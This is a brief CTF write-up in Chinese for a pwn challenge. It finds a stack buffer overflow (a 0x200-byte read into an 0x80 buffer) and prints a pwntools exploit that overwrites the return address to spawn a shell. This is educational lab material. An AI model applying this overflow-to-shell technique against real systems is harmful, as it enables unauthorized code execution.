PWN题_1

0x00 查保护

查保护发现题目只开启了NX,栈保护没有开,初步推测题目考察的是栈溢出。

0x01 静态分析

使用IDA进行静态分析。

主函数一共调用了两个函数write、vulnerable_function。

进入vulnerable_function函数后发现read函数读取了0x200的数据,然而存储的buf是80h,所以此处存在溢出。

接着我们在字符串区域和函数区域发现了system函数、“/bin/sh”字符串。以此我们可以getshell。

0x02 PWN

编写exp进行攻击即可getshell。

from pwn import * 

p = process("pwn")

payload = 'a'*136 + p64(0x400596) 

p.sendline(payload)

p.interactive()